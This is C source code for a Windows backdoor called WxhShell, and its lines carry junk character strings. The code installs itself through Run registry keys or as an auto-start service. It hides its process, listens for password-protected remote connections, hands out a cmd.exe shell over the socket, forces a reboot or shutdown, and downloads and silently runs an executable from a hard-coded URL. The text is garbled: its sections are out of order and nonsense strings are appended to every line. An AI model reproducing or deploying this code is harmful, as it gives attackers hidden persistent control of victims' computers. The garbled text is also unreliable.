    if(Boot(SHUTDOWN)) [}HPV+j=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wQy~5+LE  
    else { ,%IP27bPW  
    closesocket(wsh); "*X\'LPs=  
    ExitThread(0); g{}<ptx]  
    } :3Q:pKg  
    break; v%*don  
    } 1K@ieVc  
  // 获取shell EEZ~Bs}d  
  case 's': { lF/ Xs  
    CmdShell(wsh); "]]LQb$  
    closesocket(wsh); )yig=nn  
    ExitThread(0); /fT"WaTEK  
    break; p!:oT1U  
  } :~8@fEKb{  
  // 退出  ]aF;  
  case 'x': { Pa d)|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >^g2 Tg:  
    CloseIt(wsh); QEt"T7a[/  
    break; (jU_lsG  
    } UwS7B~  
  // 离开 )GG9[%H!  
  case 'q': { 6?M/7 1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '62_q8:  
    closesocket(wsh); =L#&`s@)_  
    WSACleanup(); >uYQt ~s  
    exit(1); 8493Sw  
    break; KM[0aXOtv  
        } I[K4/91  
  } AH'c:w]~  
  } !zOj`lx  
Xv!Gg6v6  
  // 提示信息 &K'*67h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lJFy(^KQG,  
} w#A\(z%;x  
  } i,;eW&  
z-gMk@l  
  return; d6tv4Cf  
} )Hin{~h  
rMIX{K)'f  
// shell模块句柄 LBD],Ba!  
int CmdShell(SOCKET sock) Jb*QlsGd  
{ %p)&mYK{  
STARTUPINFO si; -( p%+`  
ZeroMemory(&si,sizeof(si)); HJg&fkHn1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |^5"-3Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F5x*#/af  
PROCESS_INFORMATION ProcessInfo; C=&n1/  
char cmdline[]="cmd"; NYHK>u/5c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P A ZjA0d  
  return 0; zL+t&P[\  
} Ip7#${f5M  
"!vY{9,  
// 自身启动模式 .E^w, o  
int StartFromService(void) 80Hi v  
{ g!_#$az3  
typedef struct %JSRC<,a  
{ O(%6/r`L,k  
  DWORD ExitStatus; 3\P*"65  
  DWORD PebBaseAddress; Gf#l ^yr   
  DWORD AffinityMask; e6_8f*o|s  
  DWORD BasePriority; pEcYfj3M  
  ULONG UniqueProcessId; ]\|2=  
  ULONG InheritedFromUniqueProcessId; iupkb  
}   PROCESS_BASIC_INFORMATION; MQw}R7  
%+Nng<_U\T  
PROCNTQSIP NtQueryInformationProcess; |k}L=oWE  
e{87n>+,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n;:.UGl9.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |Y}YhUI&  
r@r*|50  
  HANDLE             hProcess; ^(+q 1O'  
  PROCESS_BASIC_INFORMATION pbi; cOdRb=?9  
QpQ2hNf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~xY"P)(x;  
  if(NULL == hInst ) return 0; zOSUYn  
1QA/ !2E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7)<Ib j<M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r3' DXP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?F]P=S:x  
Xux[  
  if (!NtQueryInformationProcess) return 0; |(W wh$  
*V:U\G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iB W:t  
  if(!hProcess) return 0; XZk%5t|t  
"Ua-7Q&A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iT{4-j7|P4  
`. JW_F)1  
  CloseHandle(hProcess); }a!|n4|`  
`T+>E0H(f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;rT/gwg!  
if(hProcess==NULL) return 0; ]8}2  
ws`r\k]3J  
HMODULE hMod; x7E] }h  
char procName[255]; Ww8U{f  
unsigned long cbNeeded; )?radg  
[I%e Ro[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W^^0Rh_  
g,WTXRy  
  CloseHandle(hProcess); X1P1 $RdkR  
4.,|vtp  
if(strstr(procName,"services")) return 1; // 以服务启动 ^kcuRJ0*$  
3 $%#n*  
  return 0; // 注册表启动 w)S 4Xi=  
} Lct_6?  
FLQke"6i0:  
// 主模块 j}Svb1A  
int StartWxhshell(LPSTR lpCmdLine) Xlug{ Uh  
{ vgtAJp+p*  
  SOCKET wsl; AaB1H7r-  
BOOL val=TRUE; ul N1z  
  int port=0; 1t/c@YUTy  
  struct sockaddr_in door; xzY/$?  
 y_[VhZ%  
  if(wscfg.ws_autoins) Install(); ={cM6F}a@  
cu5}(  
port=atoi(lpCmdLine); (T2HUmkQ6  
"Y^Fn,c  
if(port<=0) port=wscfg.ws_port; :,p3&2 I  
3v3cK1K@oE  
  WSADATA data; 7^rT-f07  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @eBo7#Zr  
L T`T~|pz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9HN&M*}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :tFc Pc'  
  door.sin_family = AF_INET; k~<Ozx^AyY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e^\(bp+83  
  door.sin_port = htons(port); ]6v7iuvI  
x v$fw>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LC=M{\  
closesocket(wsl);  K%%Ow  
return 1; 3`SH-"{j%  
} }vB{6E+h/w  
W^[QEmyn  
  if(listen(wsl,2) == INVALID_SOCKET) { !p\ @1?  
closesocket(wsl); +K'YVB U}  
return 1; (L4C1h_]9  
} 34)l3UI~  
  Wxhshell(wsl); S`mB1(h  
  WSACleanup(); 7`L]aRS[  
0hkYexX73  
return 0; <<qzZ+u  
[8tpU&J  
} >(n /  
ho^c#>81  
// 以NT服务方式启动 |]q{ qsy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V3*@n*"N;  
{ LQ Ux}  
DWORD   status = 0; ?6vGE~ MuR  
  DWORD   specificError = 0xfffffff; 7!`1K_v6  
%CQa8<q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gJwX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UjunIKX+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NA@Z$Gy  
  serviceStatus.dwWin32ExitCode     = 0; c+Z dfdR  
  serviceStatus.dwServiceSpecificExitCode = 0; _z]v;Q  
  serviceStatus.dwCheckPoint       = 0;  wDiq~!  
  serviceStatus.dwWaitHint       = 0; obbg# ,  
SI6?b1;-:F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `{w|2 [C3  
  if (hServiceStatusHandle==0) return; c3fi<?0&|  
2HE<WI^#h  
status = GetLastError(); 8KR17i1  
  if (status!=NO_ERROR) 7Y.yl F:  
{ T[[E)f1[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FR50y+h^$  
    serviceStatus.dwCheckPoint       = 0; i/8OC  
    serviceStatus.dwWaitHint       = 0; \N?lG q  
    serviceStatus.dwWin32ExitCode     = status; %ByqkY{5F  
    serviceStatus.dwServiceSpecificExitCode = specificError; DD7D&@As  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UDk H'x$=  
    return; +('xzW  
  } Xsb.xxK.  
(Y&gse1}!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  56C'<#  
  serviceStatus.dwCheckPoint       = 0; _8`S&[E?  
  serviceStatus.dwWaitHint       = 0; M9VAs~&S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OHngpe4  
} g p|G q  
V.Lk70 \  
// 处理NT服务事件,比如:启动、停止 @Py'SH!-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I )% bOK]  
{ g rQ,J  
switch(fdwControl) {RsdI=%  
{ Mp5Z=2l5  
case SERVICE_CONTROL_STOP: .Q</0*sp  
  serviceStatus.dwWin32ExitCode = 0; I A=\c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]U4C2}u  
  serviceStatus.dwCheckPoint   = 0; Ttb?x<)+8  
  serviceStatus.dwWaitHint     = 0; -DZ5nx  
  { tnb'\}Vn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E7SmiD@)  
  } n*AN/LBp  
  return; N-p||u  
case SERVICE_CONTROL_PAUSE: 5P);t9O6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ho%%voJBS  
  break; @O6 2} F  
case SERVICE_CONTROL_CONTINUE: _!vuDv%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9j;!4AJ1t  
  break; *gwo.s  
case SERVICE_CONTROL_INTERROGATE: X"f]  
  break; vvG*DGL)qL  
}; A}uWy^w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SrMfd7H8f  
} #; P-*P  
L`w_Q2{sv  
// 标准应用程序主函数 [4])\q^q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HR'F  
{ PGTjOkx  
bI;u};v  
// 获取操作系统版本 Xa U ^^K  
OsIsNt=GetOsVer(); o|s|Wm x>u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8RZqoQDH  
}&l%>P  
  // 从命令行安装 dZd]p8  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?|hYtV  
[].euDrX  
  // 下载执行文件 RbA.&=3  
if(wscfg.ws_downexe) { 8X\":l:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (f"LD8MJ/  
  WinExec(wscfg.ws_filenam,SW_HIDE); L1SZutWD?  
} )5diX + k  
IS{>(XT{  
if(!OsIsNt) { JAmpU^(C  
// 如果时win9x,隐藏进程并且设置为注册表启动  </Dv?  
HideProc(); kf' 4C "}  
StartWxhshell(lpCmdLine); 0}>p)k3&A  
} !|,djo!N  
else *u>[  
  if(StartFromService()) <{HV|B7  
  // 以服务方式启动 wX@g >(  
  StartServiceCtrlDispatcher(DispatchTable); c5eimA%`  
else Fe 7 8YDx?  
  // 普通方式启动 uH} }z!  
  StartWxhshell(lpCmdLine); B1U7z1<  
.T~Oc'wGo  
return 0; $C{-gx+:  
} I^``x+a  
=^ x1: Ak  
%$R]NL|  
~#rmw6y  
=========================================== ukee.:{  
-zm-|6[Wi  
#.@D}7y5  
NF*Z<$'%  
.Ax]SNZ+:A  
FCt %of#  
" }K 2fwE  
|s !7U  
#include <stdio.h> W_]onq 6  
#include <string.h> \q|<\~A  
#include <windows.h> {k<mN Y  
#include <winsock2.h> > a8'MK  
#include <winsvc.h> A9y3B^\*  
#include <urlmon.h> 7Rr +Uzb(  
$r(9'm}W  
#pragma comment (lib, "Ws2_32.lib") ~Y7:08  
#pragma comment (lib, "urlmon.lib") ~2 J!I^ J  
]n4G]ybK%  
#define MAX_USER   100 // 最大客户端连接数 5mI}IS|@  
#define BUF_SOCK   200 // sock buffer 5&Le?-/\  
#define KEY_BUFF   255 // 输入 buffer y>JSo9[@  
#<R6!"TNoz  
#define REBOOT     0   // 重启 @aWd0e]  
#define SHUTDOWN   1   // 关机 8SO(pw9  
",45p@  
#define DEF_PORT   5000 // 监听端口 vSJ# }&  
/V>yF&p  
#define REG_LEN     16   // 注册表键长度 `+T"^{ Z  
#define SVC_LEN     80   // NT服务名长度 gp]T.ol  
y?xFF9W@H  
// 从dll定义API Zx%6pZ(.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e:;u_ be~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ? wZ`U Oi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \hqjk:o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PCiwQ4~  
4Mv]z^  
// wxhshell配置信息 hyC]{E  
struct WSCFG { iq`caoi  
  int ws_port;         // 监听端口 ks(BS k4  
  char ws_passstr[REG_LEN]; // 口令 J4m2|HK  
  int ws_autoins;       // 安装标记, 1=yes 0=no vqJq=\ .m  
  char ws_regname[REG_LEN]; // 注册表键名 ~|8-Mo1ce  
  char ws_svcname[REG_LEN]; // 服务名 2fMKS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sK|+&BC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "l-R|>6~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OP\m~1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $x q$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9at_F'> R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I73=PfS:m  
2j-^F  
}; V\r2=ok@y  
bG!/%,s  
// default Wxhshell configuration :Mnl1;oh  
struct WSCFG wscfg={DEF_PORT, 7SJtW`~  
    "xuhuanlingzhe", 3|1v)E  
    1, Qis/'9a  
    "Wxhshell", [|APMMYK1  
    "Wxhshell", \) g?mj^  
            "WxhShell Service", cFloaCz  
    "Wrsky Windows CmdShell Service", A0gRX]  
    "Please Input Your Password: ", )s>R~7  
  1, *f3? 0w  
  "http://www.wrsky.com/wxhshell.exe", 3 V0^v  
  "Wxhshell.exe" ')KuLVE}S  
    }; tE;c>=>t  
")eY{C  
// 消息定义模块 l !:kwF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z3z"c B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [ih^VlZ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C;XhnqWv+l  
char *msg_ws_ext="\n\rExit."; 4)E$. F^   
char *msg_ws_end="\n\rQuit."; %.  W56  
char *msg_ws_boot="\n\rReboot..."; +Z=DvKsTJ  
char *msg_ws_poff="\n\rShutdown..."; 'Em633  
char *msg_ws_down="\n\rSave to "; )PjU=@$lI  
nm]m!.$d  
char *msg_ws_err="\n\rErr!"; s7 3'h  
char *msg_ws_ok="\n\rOK!"; em?Q4t  
L}pj+xB  
char ExeFile[MAX_PATH]; `E8D5'tt  
int nUser = 0; trMwFpfu  
HANDLE handles[MAX_USER]; d2X?^  
int OsIsNt; `]wk)50BVp  
tk!5"`9N  
SERVICE_STATUS       serviceStatus; F4 =V* /7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DN;3VT.-  
z?'z{+HY  
// 函数声明 "g&hsp+i"A  
int Install(void); i^"!"&tW#  
int Uninstall(void); Nh"U~zlh  
int DownloadFile(char *sURL, SOCKET wsh); g0:{{w  
int Boot(int flag); zx;~sUR;  
void HideProc(void); \4^zY'  
int GetOsVer(void); ?@Q0;LG  
int Wxhshell(SOCKET wsl); _|W&tB *  
void TalkWithClient(void *cs); ?iV}U  
int CmdShell(SOCKET sock); [PB73q8  
int StartFromService(void); IZm6.F  
int StartWxhshell(LPSTR lpCmdLine); Pksr9"Ah  
!L|l(<C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qA\&%n^ j]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vH-|#x~  
* xmC`oP  
// 数据结构和表定义 Lq ;~6  
SERVICE_TABLE_ENTRY DispatchTable[] = Nsq=1) <  
{ U<;{_!]  
{wscfg.ws_svcname, NTServiceMain}, >2#<tH0  
{NULL, NULL} Z,SV9 ~M  
}; F_g(}wE# q  
]n>9(Mp!M  
// 自我安装 s,f2[6\Y  
int Install(void) ms;zC/  
{ ]kx<aQ^  
  char svExeFile[MAX_PATH]; G6qZ>-GiL  
  HKEY key; j,;f#+O`g  
  strcpy(svExeFile,ExeFile); SXYwhID=  
&WLN   
// 如果是win9x系统,修改注册表设为自启动 R9^vAS4t[O  
if(!OsIsNt) { H\n6t-l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DTuco9yr[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EC0B6!C&7  
  RegCloseKey(key); s8[(   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZMZWO$"K1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r7>FH!=:  
  RegCloseKey(key); 9M'"q7Kh  
  return 0; R-dv$z0  
    } G7|d$!%  
  } pbDr:kBL  
} 3UW`Jyd`k  
else { uL-kihV:-  
&=*1[j\  
// 如果是NT以上系统,安装为系统服务 =,q/FY:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [%R?^*]  
if (schSCManager!=0) re/u3\S  
{ <9"@<[[,  
  SC_HANDLE schService = CreateService /Dd x[P5p=  
  ( eY`9J4o'  
  schSCManager, 37:tu7e~c  
  wscfg.ws_svcname, Qxa Me8 (  
  wscfg.ws_svcdisp, -zMvpe-am&  
  SERVICE_ALL_ACCESS, $*$4DG1gaR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;<[!;8  
  SERVICE_AUTO_START, /DH`7E  
  SERVICE_ERROR_NORMAL, OmZZTeGg1s  
  svExeFile, iG"v  
  NULL, .sQV0jF{  
  NULL, !`7evV:  
  NULL, 'YG P42#  
  NULL, K3h];F! ^  
  NULL {+cx}`  
  ); U';)]vB$  
  if (schService!=0) [tSv{  
  { eN|zD?ba&  
  CloseServiceHandle(schService); \'u+iB g  
  CloseServiceHandle(schSCManager); [.Md_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bZgo}`o%  
  strcat(svExeFile,wscfg.ws_svcname); L\"wz scn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 87B$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .@+M6K*  
  RegCloseKey(key); `L <sZ;Cj  
  return 0; .t>SbGC  
    } ]AM*9!  
  } ws,?ImA  
  CloseServiceHandle(schSCManager); i( +Uvtgs  
} 5uSg]2:  
} 7Dl^5q.|  
,wg(}y'  
return 1; |0u qW1  
} <_pLmYI  
@XL49D12c  
// 自我卸载 Gdx %#@/  
int Uninstall(void) *L>usLh  
{ z;@<J8I  
  HKEY key; s0vcGh#w  
Lw^%<.DM+t  
if(!OsIsNt) { QD^=;!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pX3El$p  
  RegDeleteValue(key,wscfg.ws_regname); Sh-B!  
  RegCloseKey(key); WuF\{bUh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K*'AjT9wX+  
  RegDeleteValue(key,wscfg.ws_regname); WdC7CK  
  RegCloseKey(key);  f>mEX='w  
  return 0; y6sY?uu  
  } ASMItT  
} w""u]b%:r  
} Ktzn)7-  
else { ^mI`P}5Y  
v6aMYmenBH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X=6L-^ o)  
if (schSCManager!=0) hHcevSr  
{ ~e,K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vu~fF@ |  
  if (schService!=0) C'l\4ij)7  
  { j+/EG^*/  
  if(DeleteService(schService)!=0) { -~\7ZRP8  
  CloseServiceHandle(schService); 0{o 8-#  
  CloseServiceHandle(schSCManager); ;YQ6X>  
  return 0; Yu&\a?]\2  
  } >tL" 8@z9  
  CloseServiceHandle(schService); X,o ]tgg=  
  } Gb Mu;CA  
  CloseServiceHandle(schSCManager); 2y8FP#  
} ka R55  
} p>pAU$k{O  
B}p.fE  
return 1; "].TKF#yg  
} j9RpYz  
.1J`>T?=Q  
// 从指定url下载文件 [tt_>O  
int DownloadFile(char *sURL, SOCKET wsh) ?W?n l:F  
{ B@\0b|  
  HRESULT hr; q4"^G:  
char seps[]= "/"; aG@GJ@w  
char *token; >/@Q7V99{  
char *file; B1i'Mzm-4  
char myURL[MAX_PATH]; A"+t[0$.  
char myFILE[MAX_PATH]; 436SIh  
#vBSg  
strcpy(myURL,sURL); 7A<}JaE!,  
  token=strtok(myURL,seps); )0;O<G] d  
  while(token!=NULL) {EU]\Mp0j  
  { ;yZY2)L   
    file=token; /dX,]OFm  
  token=strtok(NULL,seps); Ja\B%f  
  } .fhfO @  
7#*O|t/'  
GetCurrentDirectory(MAX_PATH,myFILE); aM8z_j!!u  
strcat(myFILE, "\\"); &|zV Wl  
strcat(myFILE, file); 5KYR"-jY  
  send(wsh,myFILE,strlen(myFILE),0); u<j.XPK  
send(wsh,"...",3,0); }zeKf/?'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Xa>c ]j  
  if(hr==S_OK) RhjU^,%  
return 0; X)9|ZF2`  
else 7#T@CKdUd  
return 1; &.0wPyw  
ROfke.N\'  
} a5@lWpQsV  
9x8Ai  
// 系统电源模块 | 8n,|%e  
int Boot(int flag) }LZz"b<aw  
{ 0b,{4DOD  
  HANDLE hToken; {`L,F  
  TOKEN_PRIVILEGES tkp; 63i&e/pv  
9B3}LVg\  
  if(OsIsNt) { *(*XNd||  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E@="n<uS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FEA/}*2F  
    tkp.PrivilegeCount = 1; <@@@Pl!~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /dVcNo3"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U:IeMf-;  
if(flag==REBOOT) { W?12'EG}xa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JlH5 <:#PN  
  return 0; OPKmYzf@b  
} {+QQ<)l^tJ  
else { jRjQDK_"ka  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MP8s}  
  return 0; GlXzH1wZ  
} U3c!*i  
  } (]<G)+*  
  else { SY2((!n._  
if(flag==REBOOT) { QV%eTA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t4iV[xl3F  
  return 0; RveMz$Yy  
} 04z2gAo  
else { =Sn!'@%U]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F8Z6Ss|v3  
  return 0; TUd=qnu  
} W}oAgUd  
} VoUAFEcs  
Wuji'sxTs  
return 1; |<7nf75c}  
} zhde1JE  
r\{; ~V  
// win9x进程隐藏模块 &nF7CCF  
void HideProc(void) C  F<  
{ af7\2 g3*  
RFm9dHI27  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D#&N?< }  
  if ( hKernel != NULL ) )'?@raB!  
  { .J|" bs9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PR1%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j,JGs[A  
    FreeLibrary(hKernel); DcLx [C  
  } C[(Exe  
`L}Irt}  
return; N+ R/ti  
} 6~Xe$fP(  
(z<& PP  
// 获取操作系统版本 #bLeK$  
int GetOsVer(void) )kNyl@m  
{ +xtR`Y"  
  OSVERSIONINFO winfo; s|&2QG0'7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mh`VZQ@  
  GetVersionEx(&winfo); v~>4c<eG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &+t,fwlM  
  return 1; >@d=\Kyu  
  else *gzX=*;x+?  
  return 0; 7":0CU% %  
} 7J2i /m  
c=HL 6v<  
// 客户端句柄模块 f_Q_qckB%x  
int Wxhshell(SOCKET wsl) WAcQRa~C  
{ >U$,/_uMNW  
  SOCKET wsh; [&FWR  
  struct sockaddr_in client; M0%):P?x  
  DWORD myID; xpVYNS{c+|  
$ V"7UA22  
  while(nUser<MAX_USER) ojd/%@+u+Y  
{ R|AG N*.  
  int nSize=sizeof(client); 4E& 3{hnp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PDssEb7  
  if(wsh==INVALID_SOCKET) return 1; H\<C@OkJS}  
n ZM|8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yf7p0;$?  
if(handles[nUser]==0) N8l(m5Kk,k  
  closesocket(wsh); ';!02=-@  
else 5 lC"10  
  nUser++; GVp2| \-L  
  } 8V3SZ17  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aOj5b>>  
S\jN:o#b  
  return 0; RyxIJJui  
} 1]v.Qu<  
U;4:F{3m   
// 关闭 socket rT ~qoA\  
void CloseIt(SOCKET wsh) u]ZCYJ>  
{ R('44v5JQp  
closesocket(wsh); PTvP;  
nUser--; |nj%G<  
ExitThread(0); <H~  (iQ  
} ZUMzWK5Th  
T{j&w%(z  
// 客户端请求句柄 HtIM8z#/  
void TalkWithClient(void *cs) |L7 `7!Z  
{ (byFr9z  
'5eW"HGU]`  
  SOCKET wsh=(SOCKET)cs; G?d28p',.  
  char pwd[SVC_LEN]; z6R<*$4  
  char cmd[KEY_BUFF]; *Ta*0Fr=9|  
char chr[1]; 0BIH.ZV#  
int i,j; kf$0}T`  
*, o)`  
  while (nUser < MAX_USER) { J%_ :A"  
'on, YEp  
if(wscfg.ws_passstr) { @&d/}Mx"t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jh[fFg]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pFD L5  
  //ZeroMemory(pwd,KEY_BUFF); -$4PY,  
      i=0; F,`y_71<  
  while(i<SVC_LEN) { qgU$0enSs  
o$YL\ <qp  
  // 设置超时 3%xj-7z W  
  fd_set FdRead; SVaC)O(  
  struct timeval TimeOut; Wel-a< e  
  FD_ZERO(&FdRead); @QMMtfeLj  
  FD_SET(wsh,&FdRead); 0=&Hm).  
  TimeOut.tv_sec=8; ek#{!9-  
  TimeOut.tv_usec=0; [>4Ou^=1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1< ;<?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :NO'[iE  
dGcG7*EX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (6 fh[eK86  
  pwd=chr[0]; xq.,7#3  
  if(chr[0]==0xd || chr[0]==0xa) { l>S~)FNwXJ  
  pwd=0; ;Zc(qA  
  break; $q{-)=-BXQ  
  } rRL:]%POT  
  i++; qI"@ PI!s  
    } i}+K;,Da:8  
sL XQ)Ce  
  // 如果是非法用户,关闭 socket 4jj@"*^a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !5Kv9P79  
} pl V]hu27K  
+dk}$w[ g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QVI4<Rxg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $GYcZN&  
ep Eg 6   
while(1) { W)?B{\  
hO@'WoniW  
  ZeroMemory(cmd,KEY_BUFF); X) xQKkL0  
Y:/z)"u,C  
      // 自动支持客户端 telnet标准   SV}I+O_w  
  j=0; W :jC2,s!m  
  while(j<KEY_BUFF) { WeE>4>^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Rk;*MEMJ  
  cmd[j]=chr[0]; ">lu8F  
  if(chr[0]==0xa || chr[0]==0xd) { ;2-,Xzz8  
  cmd[j]=0; Q'&oSPXSDd  
  break; p0UR5A>p  
  } Edc<  8-  
  j++;  J O`S  
    } Lt.a@\J'_  
jX!,xS%(  
  // 下载文件 ,D3?N2mB  
  if(strstr(cmd,"http://")) { mHUQtGAVQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pp6(7j  
  if(DownloadFile(cmd,wsh)) %<DXM`Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vu;pILN  
  else NB;8 e>8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u!];RHOp|  
  } *f=H#  
  else { gN Xg  
b'4{l[3~nl  
    switch(cmd[0]) { {Tl5,CAz  
  ?k]^?7GN  
